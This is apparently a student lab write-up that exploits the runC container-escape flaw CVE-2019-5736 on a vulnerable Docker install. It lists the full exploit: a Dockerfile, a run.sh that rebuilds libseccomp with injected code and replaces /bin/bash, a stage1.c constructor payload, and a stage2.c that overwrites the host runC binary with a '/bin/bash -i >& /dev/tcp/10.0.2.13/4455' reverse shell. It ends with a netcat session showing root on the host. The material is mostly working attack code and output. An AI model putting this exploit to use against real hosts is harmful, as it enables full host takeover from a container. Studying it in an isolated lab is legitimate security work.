Escape a Container

In this lab, I exploited Runc vulnerability(CVE-2019-5736) to create a reverse shell inside a docker container to an external machine.

0x1 Vulnerability detail

CVE-2019-5736 announcement states:
"The vulnerability allows a malicious container to [with minimal user interaction] overwrite the host runc binary [and thus gain root-level code execution on the host]. The level of user interaction is being able to run any command […] as root within a container [when creating] a new container using an attacker-controlled image, or attaching (docker exec) into an existing container which the attacker had previous write access to."

This vulnerability allows attacker to trick runC into executing itself by exec /proc/self/exe, which is a symbolic link to the runC binary on the host.

RunC is dynamically linked to several shared libraries at run time. When the runC process is executed in the container, those libraries are loaded into the runC process by the dynamic linker. It is possible to substitute one of those libraries with a malicious version, that will overwrite the runC binary upon being loaded into the runC process.

In my exploitation, I add a reverse shell command into the runC binary inside of the host and when runC is executed it will create a reverse shell to attacker's machine and the host machine is compromised.

0x2 Environment Setup

Step 1: install the vulnerable version of docker-ce-18.09, docker-ce-cli-18.09 and containerd.io 1.2.2.1.

```
root@Kali:~/Desktop# dpkg -i containerd.io_1.2.2-1_amd64.deb
Selecting previously unselected package containerd.io.
(Reading database ... 276431 files and directories currently installed.)
Preparing to unpack containerd.io_1.2.2-1_amd64.deb ...
Unpacking containerd.io (1.2.2-1) ...
Setting up containerd.io (1.2.2-1) ...
containerd.service is a disabled or a static unit not running, not starting it.
root@Kali:~/Desktop# dpkg -i docker-ce-cli_18.09.0~3-0~debian-stretch_amd64.deb
Selecting previously unselected package docker-ce-cli.
(Reading database ... 276439 files and directories currently installed.)
Preparing to unpack docker-ce-cli_18.09.0~3-0~debian-stretch_amd64.deb ...
Unpacking docker-ce-cli (5:18.09.0~3-0~debian-stretch) ...
Setting up docker-ce-cli (5:18.09.0~3-0~debian-stretch) ...
Processing triggers for man-db (2.9.0-1) ...
root@Kali:~/Desktop# dpkg -i docker-ce_18.09.0~3-0~debian-stretch_amd64.deb
Selecting previously unselected package docker-ce.
(Reading database ... 276629 files and directories currently installed.)
Preparing to unpack docker-ce_18.09.0~3-0~debian-stretch_amd64.deb ...
Unpacking docker-ce (5:18.09.0~3-0~debian-stretch) ...
Setting up docker-ce (5:18.09.0~3-0~debian-stretch) ...
update-alternatives: using /usr/bin/dockerd-ce to provide /usr/bin/dockerd (dockerd) in auto mode
docker.service is a disabled or a static unit, not starting it.
root@Kali:~/Desktop# docker --version
Docker version 18.09.0, build 4d60db4
root@Kali:~/Desktop#
```

Step 2: Create the Dockerfile and docker image:

I used POC from exploit-DB and modified some part by myself.

Dockerfile:

```
root@Kali:~/Desktop/cve-2019-5736-poc# cat Dockerfile
FROM ubuntu:18.04

RUN set -e -x ;\
    sed -i 's,# deb-src,deb-src,' /etc/apt/sources.list ;\
    apt -y update ;\
    apt-get -y install build-essential ;\
    cd /root ;\
    apt-get -y build-dep libseccomp ;\
    apt-get source libseccomp

ADD stage1.c /root/stage1.c
ADD stage2.c /root/stage2.c
ADD run.sh  /root/run.sh
RUN set -e -x ;\
    chmod 777 /root/run.sh
```

Create docker image:

```
root@Kali:~/Desktop/cve-2019-5736-poc# docker build -t cve2 .
Sending build context to Docker daemon  88.06kB
Step 1/6 : FROM ubuntu:18.04
 ---> 56def654ec22
Step 2/6 : RUN set -e -x ;    sed -i 's,# deb-src,deb-src,' /etc/apt/sources.list ;    apt -y update ;    apt-get -y install build-essential ;    cd /root ;    apt-get -y build-dep libseccomp ;
  apt-get source libseccomp
 ---> Using cache
 ---> 48a84f7f38c0
Step 3/6 : ADD stage1.c /root/stage1.c
 ---> Using cache
 ---> 45d8df384f9c
Step 4/6 : ADD stage2.c /root/stage2.c
 ---> Using cache
 ---> 5ad69dbf6172
Step 5/6 : ADD run.sh  /root/run.sh
 ---> Using cache
 ---> 5602c3d002b2
Step 6/6 : RUN set -e -x ;    chmod 777 /root/run.sh
 ---> Using cache
 ---> 7e0590142639
Successfully built 7e0590142639
Successfully tagged cve2:latest
```

0x3 Exploitation

Run the docker:
docker run -d cve /bin/bash -c "tail -f /dev/null"

```
root@Kali:~/Desktop/cve-2019-5736-poc# docker run -d --name=lab5 cve2 /bin/bash -c "tail -f /dev/null"
ad383de533b109e375f1c386a13e7af62e488f783a5fe83fbd85b11eea86bfd4
root@Kali:~/Desktop/cve-2019-5736-poc# docker exec -it lab5 /bin/bash
root@ad383de533b1:/# pwd
/
root@ad383de533b1:/# ls
bin  boot  dev  etc  home  lib  lib64  media  mnt  opt  proc  root  run  sbin  srv  sys  tmp  usr  var
root@ad383de533b1:/# cd root/
root@ad383de533b1:~# ls
libseccomp-2.4.3  libseccomp_2.4.3-1ubuntu3.18.04.3.debian.tar.xz  libseccomp_2.4.3-1ubuntu3.18.04.3.dsc  libseccomp_2.4.3.orig.tar.gz  run.sh  stage1.c  stage2.c
root@ad383de533b1:~#
```

Run the malicious script in docker:

```
root@ad383de533b1:~# ./run.sh
dpkg-buildpackage: info: source package libseccomp
dpkg-buildpackage: info: source version 2.4.3-1ubuntu3.18.04.3
dpkg-buildpackage: info: source distribution bionic
dpkg-buildpackage: info: source changed by Ioanna Alifieraki <ioanna-maria.alifiera
dpkg-buildpackage: info: host architecture amd64
 dpkg-source --before-build libseccomp-2.4.3
 debian/rules clean
dh clean --parallel --with autoreconf
   debian/rules override_dh_auto_clean
make[1]: Entering directory '/root/libseccomp-2.4.3'
dh_auto_clean
rm -f regression.out
make[1]: Leaving directory '/root/libseccomp-2.4.3'
   dh_clean
 debian/rules build
dh build --parallel --with autoreconf
   dh_update_autotools_config
   dh_autoreconf
libtoolize: putting auxiliary files in AC_CONFIG_AUX_DIR, 'build-aux'.
libtoolize: copying file 'build-aux/ltmain.sh'
libtoolize: putting macros in AC_CONFIG_MACRO_DIRS, 'm4'.
libtoolize: copying file 'm4/libtool.m4'
libtoolize: copying file 'm4/ltoptions.m4'
libtoolize: copying file 'm4/ltsugar.m4'
libtoolize: copying file 'm4/ltversion.m4'
libtoolize: copying file 'm4/lt~obsolete.m4'
```

Here is the content of *run.sh:*

```
root@Kali:~/Desktop/cve-2019-5736-poc# cat run.sh
#!/bin/bash
cd /root/libseccomp-2.4.3
cat /root/stage1.c >> src/api.c
DEB_BUILD_OPTIONS=nocheck dpkg-buildpackage -b -uc -us
dpkg -i /root/*.deb
mv /bin/bash /bin/good_bash
gcc /root/stage2.c -o /stage2
cat >/bin/bash <<EOF
#!/proc/self/exe
EOF
chmod +x /bin/bash
```

This script appends our malicious code (*stage1.c*) to one of libsecomp's source files. Subsequently, it modifies the bash script to run "#! /proc/self/exe" when get called. We know that runC will execute this bash script as we specified so "proc/self/exe" here represents the runC binary in host.

Let's move to the malicious code *stage1.c* :

```
root@Kali:~/Desktop/cve-2019-5736-poc# cat stage1.c

#include <stdio.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <unistd.h>

__attribute__ ((constructor)) void foo(void)
{
    int fd = open("/proc/self/exe", O_RDONLY);
    if (fd == -1 ) {
        printf("HAX: can't open /proc/self/exe\n");
        return;
    }
    printf("HAX: fd is %d\n", fd);

    char *argv2[3];
    argv2[0] = strdup("/stage2");
    char buf[128];
    snprintf(buf, 128, "/proc/self/fd/%d", fd);
    argv2[1] = buf;
    argv2[2] = 0;
    execve("/stage2", argv2, NULL);
}
```

The constructor attribute indicates that the foo() function is to be executed as an initialization function for libseccomp after the dynamic linker loads the library into the runC process. Since foo() will be executed by the runC process, it can access the runC binary at /proc/self/exe.

The runC process must exit for the runC binary to be writable though. To enforce the exit, foo() calls another malicious code *stage2.c* to overwrite runC binary.

```
root@Kali:~/Desktop/cve-2019-5736-poc# cat stage2.c
#include <stdio.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <errno.h>


int main(int argc, char **argv) {

    printf("HAX2: argv: %s\n", argv[1]);
    int res1 = -1;
    int total = 10000;
    while(total>0 && res1== -1){

        int fd = open(argv[1], O_RDWR|O_TRUNC);
        printf("HAX2: fd: %d\n", fd);

        const char *poc = "#!/bin/bash\n/bin/bash -i >& /dev/tcp/10.0.2.13/4455 0>&1  &\n";
        int res = write(fd, poc, strlen(poc));
        printf("HAX2: res: %d, %d\n", res, errno);
        res1 = res;
        total--;
    }
}
```

.

Since execve doesn't affect the file descriptors open by the process, the same file descriptor trick from the previous POC can be used:

1. The runC process loads the libseccomp library and transfers execution to the foo() function.
2. Foo() opens the runC binary for reading through /proc/self/exe. This creates a file descriptor at /proc/self/fd/${runc_fd_read}.
3. Foo() calls execve to execute stage2.c.
4. The process is no longer running the runC binary, *stage2* opens /proc/self/fd/runc_fd_read for writing and adds a shellcode command to the runC binary.
5. When this modified runC binary is executed again in the host, it will spawn a reverse shell to a remote machine 10.0.2.13 where attacker listens on. Then the attacker will gain the control of the host machine.

Attacker's machine

```
root@kali:~# nc -lvvp 4455
listening on [any] 4455 ...
```

Run the /bin/bash (Which will call /proc/self/exe) again:

```
root@Kali:~/Desktop/cve-2019-5736-poc# docker run -d --name=lab5 cve2 /bin/bash -c "tail -f /dev/null"
ad383de533b109e375f1c386a13e7af62e488f783a5fe83fbd85b11eea86bfd4
```

Vulnerability is exploited and we got a reverse shell:

10.0.2.15 is the host machine.

```
root@kali:~# nc -lvvp 4455
listening on [any] 4455 ...
10.0.2.15: inverse host lookup failed: Unknown host
connect to [10.0.2.13] from (UNKNOWN) [10.0.2.15] 58254
bash: cannot set terminal process group (3253): Inappropriate ioctl
bash: no job control in this shell
<3aa7d2ac7743e5b45189cb86fc68a696556afbfca315a956c# ls
ls
bc82016035c3210315abff5d9134a8fed5800fd31790653d5f5194c6b09a4725.pid
config.json
init.pid
log.json
rootfs
<3aa7d2ac7743e5b45189cb86fc68a696556afbfca315a956c# id
id
uid=0(root) gid=0(root) groups=0(root)
<3aa7d2ac7743e5b45189cb86fc68a696556afbfca315a956c# ifconfig
ifconfig
docker0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet 172.17.0.1  netmask 255.255.0.0  broadcast 172.17.255.2
        inet6 fe80::42:2cff:fe61:7a14  prefixlen 64  scopeid 0x20<li
        ether 02:42:2c:61:7a:14  txqueuelen 0  (Ethernet)
        RX packets 41593  bytes 1695043 (1.6 MiB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 50184  bytes 132230063 (126.1 MiB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet 10.0.2.15  netmask 255.255.255.0  broadcast 10.0.2.255
        inet6 fe80::a00:27ff:fe1d:f068  prefixlen 64  scopeid 0x20<l
        ether 08:00:27:1d:f0:68  txqueuelen 1000  (Ethernet)
        RX packets 107502  bytes 162274372 (154.7 MiB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 46415  bytes 2849411 (2.7 MiB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0
```